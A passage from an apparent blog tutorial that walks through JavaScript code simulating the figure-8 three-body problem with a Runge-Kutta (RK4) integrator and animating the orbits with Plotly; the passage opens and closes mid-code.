<span class="w"> </span><span class="nx">deltaVx</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="p">(</span><span class="nx">xn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="nx">i</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">sep</span><span class="p">,</span><span class="w"> </span><span class="mf">3</span><span class="p">);</span>
<span class="w"> </span><span class="nx">deltaVy</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="p">(</span><span class="nx">yn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">y</span><span class="p">[</span><span class="nx">i</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">sep</span><span class="p">,</span><span class="w"> </span><span class="mf">3</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">delta</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">n</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">deltaVx</span><span class="p">;</span>
<span class="w"> </span><span class="nx">delta</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">n</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">deltaVy</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">delta</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">vx</span><span class="p">;</span>
<span class="w"> </span><span class="nx">delta</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">vy</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delta</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">step</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">6.67408313131313e-11</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">k1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">k2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">k1</span><span class="p">,</span><span class="w"> </span><span class="mf">0.5</span><span class="p">)),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">k3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">k2</span><span class="p">,</span><span class="w"> </span><span class="mf">0.5</span><span class="p">)),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">k4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">k3</span><span class="p">),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w"> </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">k1</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="mf">2.0</span><span class="p">,</span><span class="w"> </span><span class="nx">k2</span><span class="p">),</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="mf">2.0</span><span class="p">,</span><span class="w"> </span><span class="nx">k3</span><span class="p">),</span><span class="w"> </span><span class="nx">k4</span><span class="p">),</span><span class="w"> </span><span class="mf">1</span><span class="o">/</span><span class="mf">6</span><span class="p">));</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">coords</span><span class="p">;</span>
<span class="p">}</span>
<span class="w"> </span><span class="c1">// Initial conditions setup</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">M</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="mf">1</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">0.97000436</span><span class="p">,</span><span class="w"> </span><span class="mf">0.0</span><span class="p">,</span><span class="w"> </span><span class="mf">0.97000436</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="mf">0.24208753</span><span class="p">,</span><span class="w"> </span><span class="mf">0.0</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mf">0.24208753</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">vx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="mf">0.4662036850</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mf">0.933240737</span><span class="p">,</span><span class="w"> </span><span class="mf">0.4662036850</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">vy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="mf">0.4323657300</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mf">0.86473146</span><span class="p">,</span><span class="w"> </span><span class="mf">0.4323657300</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">Ei</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">-</span><span class="mf">1</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">0.97000436</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">0.24208753</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">))</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="mf">0.97000436</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="mf">0.24208753</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">))</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">0.5</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">sum</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">dotPow</span><span class="p">(</span><span class="nx">vx</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">),</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">dotPow</span><span class="p">(</span><span class="nx">vy</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="p">))));</span>
<span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">linspace</span><span class="p">(</span><span class="nx">start</span><span class="p">,</span><span class="w"> </span><span class="nx">stop</span><span class="p">,</span><span class="w"> </span><span class="nx">num</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">step</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">stop</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">start</span><span class="p">)</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="p">(</span><span class="nx">num</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="nx">num</span><span class="p">},</span><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">start</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="nx">step</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">i</span><span class="p">));</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">x</span><span class="p">,</span><span class="w"> </span><span class="nx">y</span><span class="p">,</span><span class="w"> </span><span class="nx">vx</span><span class="p">,</span><span class="w"> </span><span class="nx">vy</span><span class="p">];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">time</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">linspace</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">6.3259</span><span class="p">,</span><span class="w"> </span><span class="mf">1001</span><span class="p">);</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">deltaT</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">X</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">zeros</span><span class="p">(</span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">).</span><span class="nx">toArray</span><span class="p">();</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">Y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">zeros</span><span class="p">(</span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">).</span><span class="nx">toArray</span><span class="p">();</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">VX</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">zeros</span><span class="p">(</span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">).</span><span class="nx">toArray</span><span class="p">();</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">VY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">zeros</span><span class="p">(</span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">).</span><span class="nx">toArray</span><span class="p">();</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">step</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">M</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w"> </span><span class="nx">X</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">idx</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">X</span><span class="p">[</span><span class="nx">idx</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">idx</span><span class="p">]);</span>
<span class="w"> </span><span class="nx">Y</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">idx</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">Y</span><span class="p">[</span><span class="nx">idx</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">idx</span><span class="p">]);</span>
<span class="w"> </span><span class="nx">VX</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">idx</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">VX</span><span class="p">[</span><span class="nx">idx</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">idx</span><span class="p">]);</span>
<span class="w"> </span><span class="nx">VY</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">idx</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">VY</span><span class="p">[</span><span class="nx">idx</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">idx</span><span class="p">]);</span>
<span class="w"> </span><span class="p">}</span>
</code></pre>
</div>
<p>The <code>deltaR</code> function computes the rate of change in position and velocity of the celestial bodies based on their current positions, velocities, and masses. It accounts for the gravitational forces between all bodies.</p>
<p>The <code>step</code> function performs a single RK4 integration step, updating the positions and velocities of the celestial bodies. It uses <code>deltaR</code> to compute the four increments (k1, k2, k3, and k4) and then updates the coordinates accordingly.</p>
<p>Next, the initial conditions for the figure-8 three-body problem are set. The masses (<code>M</code>), initial positions (<code>x</code>, <code>y</code>), and initial velocities (<code>vx</code>, <code>vy</code>) are provided. <code>Ei</code> calculates the initial total energy of the system.</p>
<p>The <code>linspace</code> function is defined to create a linearly spaced array of time points. <code>coords</code> is an array containing the positions and velocities for all bodies. The <code>time</code> array is created using <code>linspace</code>, and <code>deltaT</code> is set as the time step.</p>
<p><code>X</code>, <code>Y</code>, <code>VX</code>, and <code>VY</code> are 2D arrays that will store the positions and velocities of the celestial bodies over time. They are initialized with zeros and will be updated in the loop.</p>
<p>Finally, a loop iterates over each time step, updating the positions and velocities of the celestial bodies using the <code>step</code> function. The updated coordinates are stored in the <code>X</code>, <code>Y</code>, <code>VX</code>, and <code>VY</code> arrays.</p>
<h3 id="animation">Animation?</h3>
<p>Now that we have time-series data, we need to animate it. We can use Plotly's animate function, as this does not force a full re-render, saving us some precious GPU and CPU cycles when we are trying to run this in the browser itself</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">plotClassicFunc</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">tailLength</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">plotIndex</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">tailLength</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">tailLength</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">plotIndex</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">plotIndex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">tailLength</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">plotIndex</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">tailLength</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">currentIndex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">plotIndex</span><span class="p">;</span>
<span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="nx">currentIndex</span><span class="p">].</span><span class="nx">toFixed</span><span class="p">(</span><span class="mf">3</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">currentIndex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">X</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
<span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">Y</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
<span class="w"> </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s1">'lines+markers'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s1">'star'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">8</span><span class="p">,</span>
<span class="w"> </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">2</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s1">''</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">X</span><span class="p">[</span><span class="mf">1</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
<span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">Y</span><span class="p">[</span><span class="mf">1</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
<span class="w"> </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s1">'lines+markers'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s1">'star'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">8</span><span class="p">,</span>
<span class="w"> </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">2</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s1">''</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">X</span><span class="p">[</span><span class="mf">2</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
<span class="w"> </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">Y</span><span class="p">[</span><span class="mf">2</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="nx">tailLength</span><span class="p">,</span><span class="w"> </span><span class="nx">currentIndex</span><span class="p">),</span>
<span class="w"> </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s1">'lines+markers'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s1">'star'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">8</span><span class="p">,</span>
<span class="w"> </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">line</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">2</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s1">''</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">];</span>
<span class="w"> </span><span class="c1">// width: 1000, height: 400</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">layout</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s1">'∞ Three-Body Problem: t = '</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="nx">currentIndex</span><span class="p">].</span><span class="nx">toFixed</span><span class="p">(</span><span class="mf">3</span><span class="p">),</span>
<span class="w"> </span><span class="nx">xaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s1">'x'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">1.1</span><span class="p">,</span><span class="mf">1.1</span><span class="p">]</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">yaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s1">'y'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">scaleanchor</span><span class="o">:</span><span class="w"> </span><span class="s1">'x'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">scaleratio</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span>
<span class="w"> </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">0.5</span><span class="p">,</span><span class="mf">0.5</span><span class="p">]</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">plot_bgcolor</span><span class="o">:</span><span class="w"> </span><span class="s1">'black'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">paper_bgcolor</span><span class="o">:</span><span class="w"> </span><span class="s1">'black'</span><span class="p">,</span>
<span class="w"> </span><span class="nx">font</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s1">'white'</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="p">};</span>
<span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">Plotly</span><span class="p">.</span><span class="nx">animate</span><span class="p">(</span><span class="s2">"plot"</span><span class="p">,</span><span class="w"> </span><span class="p">{</span>
